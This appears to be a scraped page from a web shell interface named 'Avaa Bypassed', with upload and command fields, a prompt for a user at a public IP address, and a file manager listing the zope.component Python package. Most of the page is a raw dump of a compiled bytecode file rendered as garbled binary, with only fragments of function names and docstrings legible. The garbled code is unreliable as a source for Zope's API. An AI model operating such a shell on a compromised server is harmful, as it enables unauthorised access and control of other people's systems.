404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.118.151.93: ~ $
3

,�WN#�@s�dZddlZddlZddlmZddlmZddlmZddlmZddlm	Z	ddlm
Z
dd	lmZdd
lmZddl
mZddlmZdd
lmZddlmZyddlmZWn ek
r�ddlmZYnXdaed9dd��Zdd�Zd:dd�Zeedfdd�Zeeddfdd�Zeedfdd�Zeeddfdd�Zd;dd�Zd<d d!�Z d"d#�Z!ed=d%d&��Z"ddl#Z$e$j%j%j&j'e"�d>d'd(�Z(d?d)d*�Z)d@d+d,�Z*dAd-d.�Z+e,�Z-dBd/d0�Z.dCd1d2�Z/d3d4�Z0dDd5d6�Z1dEd7d8�Z2dS)FzZope 3 Component Architecture
�N)�	Interface)�
implementedBy)�
providedBy)�IComponentArchitecture)�!IComponentRegistrationConvenience)�IFactory)�ComponentLookupError)�IComponentLookup)�_BLANK)�	adaptedBy)�adapter)�adapts)�hookablecCsZ|dkr tdkrddlmatSyt|�Stk
rT}zt|j��WYdd}~XnXdS)z! See IComponentArchitecture.
    Nr)�base)rZzope.component.globalregistryr	�	TypeErrorr�args)�context�error�r�/usr/lib/python3.6/_api.py�getSiteManager,srcCs"t|||�}|dkrt||��|S)N)�queryAdapterInContextr)�object�	interfacerrrrr�getAdapterInContext?s
rc
Csxt|dd�}|dk	rVy||�}Wn(tk
rHtj�djdk	rD�YnX|dk	rV|S|j|�rd|St|�j||d|�S)NZ__conform__��)�getattrr�sys�exc_info�tb_nextrr�queryAdapter)rrr�defaultZconformrrrrrEs
rcCs(t|||d|�}|dkr$t|||��|S)N)r!r)rr�namerrrrr�
getAdapter`sr$cCs*|dkrt||||�St|�j||||�S)N)�adapter_hookrr!)rrr#r"rrrrr!fsr!cCs(t||||d�}|dkr$t|||��|S)N)r)�queryMultiAdapterr)�objectsrr#rrrrr�getMultiAdaptermsr(c
Cs2yt|�}Wntk
r |SX|j||||�S)N)rrr&)r'rr#r"r�sitemanagerrrrr&ss
r&cCs.yt|�}Wntk
r gSX|j||�S)N)rr�getAdapters)r'Zprovidedrr)rrrr*}s
r*cCs.yt|�}Wntk
r gSX|j||�S)N)rr�subscribers)r'rrr)rrrr+�s
r+cGstd�j|d�dS)N)rr+)r'rrr�handle�sr,rc
Cs0y
t�}Wntk
rdSX|j||||�S)N)rrr!)rrr#r"r)rrrr%�s

r%cCs(t|||d�}|dk	r|St||��dS)N)r)�queryUtilityr)rr#rZutilityrrr�
getUtility�sr.cCst|�j|||�S)N)rr-)rr#r"rrrrr-�sr-cCst|�j|�S)N)r�getUtilitiesFor)rrrrrr/�sr/cCst|�j|�S)N)r�getAllUtilitiesRegisteredFor)rrrrrr0�sr0c
CsTyt|�}Wntk
r |SX|j}x&|D]}|j||t�}|tk	r.|Sq.W|S)z�Query for the next available utility.

    Find the next available utility providing `interface` and having the
    specified name. If no utility was found, return the specified `default`
    value.
    )rr�	__bases__r-�_marker)rrr#r"Zsm�basesr�utilrrr�queryNextUtility�s
r5cCs0t|||t�}|tkr,tjjjd||f��|S)zfGet the next available utility.

    If no utility was found, a `ComponentLookupError` is raised.
    z/No more utilities for %s, '%s' have been found.)r5r2�zopeZ	component�
interfacesr)rrr#r4rrr�getNextUtility�sr8cOs|jdd�}tt||�||�S)zkInvoke the named factory and return the result.

    ``__factory_name`` is a positional-only argument.
    rN)�popr.r)Z__factory_namer�kwargsrrrr�createObject�sr;cCstt||�j�S)znReturn the interface provided by the named factory's objects

    Result might be a single interface. XXX
    )r.r�
getInterfaces)r#rrrr�getFactoryInterfaces�sr=ccs~t|�}xp|jt�D]b\}}|j�}y|j|�r:||fVWqtk
rtx"|D]}|j|�rR||fVPqRWYqXqWdS)zCReturn info on all factories implementing the given interface.
    N)rr/rr<ZisOrExtends�AttributeError)rrZutilsr#�factoryr7Zifacerrr�getFactoriesFor�s



r@)N)N)N)N)rN)rN)rNN)N)N)rN)r)N)N)3�__doc__r�typesZzope.interfacerrrZzope.component.interfacesrrrrr	Zzope.component._compatr
Zzope.component._declarationrrr
Z
zope.hookabler�ImportErrorZzope.component.hookablerrrrr$r!r(r&r*r+r,r%Zzope.interface.interfacer6rZ
adapter_hooks�appendr.r-r/r0rr2r5r8r;r=r@rrrr�<module>s\
	










Filemanager

Name Type Size Permission Actions
__init__.cpython-36.opt-1.pyc File 1.74 KB 0644
__init__.cpython-36.pyc File 1.74 KB 0644
_api.cpython-36.opt-1.pyc File 5.66 KB 0644
_api.cpython-36.pyc File 5.66 KB 0644
_compat.cpython-36.opt-1.pyc File 337 B 0644
_compat.cpython-36.pyc File 337 B 0644
_declaration.cpython-36.opt-1.pyc File 1.76 KB 0644
_declaration.cpython-36.pyc File 1.76 KB 0644
event.cpython-36.opt-1.pyc File 796 B 0644
event.cpython-36.pyc File 796 B 0644
eventtesting.cpython-36.opt-1.pyc File 1.55 KB 0644
eventtesting.cpython-36.pyc File 1.55 KB 0644
factory.cpython-36.opt-1.pyc File 1.44 KB 0644
factory.cpython-36.pyc File 1.44 KB 0644
globalregistry.cpython-36.opt-1.pyc File 2.78 KB 0644
globalregistry.cpython-36.pyc File 2.78 KB 0644
hookable.cpython-36.opt-1.pyc File 1.22 KB 0644
hookable.cpython-36.pyc File 1.22 KB 0644
hooks.cpython-36.opt-1.pyc File 3.19 KB 0644
hooks.cpython-36.pyc File 3.19 KB 0644
interface.cpython-36.opt-1.pyc File 3.59 KB 0644
interface.cpython-36.pyc File 3.67 KB 0644
interfaces.cpython-36.opt-1.pyc File 18.51 KB 0644
interfaces.cpython-36.pyc File 18.51 KB 0644
persistentregistry.cpython-36.opt-1.pyc File 2 KB 0644
persistentregistry.cpython-36.pyc File 2 KB 0644
registry.cpython-36.opt-1.pyc File 1.51 KB 0644
registry.cpython-36.pyc File 1.51 KB 0644
security.cpython-36.opt-1.pyc File 2.49 KB 0644
security.cpython-36.pyc File 2.49 KB 0644
standalonetests.cpython-36.opt-1.pyc File 1.63 KB 0644
standalonetests.cpython-36.pyc File 1.7 KB 0644
testing.cpython-36.opt-1.pyc File 1.12 KB 0644
testing.cpython-36.pyc File 1.12 KB 0644
testlayer.cpython-36.opt-1.pyc File 4.63 KB 0644
testlayer.cpython-36.pyc File 4.63 KB 0644
zcml.cpython-36.opt-1.pyc File 13.83 KB 0644
zcml.cpython-36.pyc File 13.83 KB 0644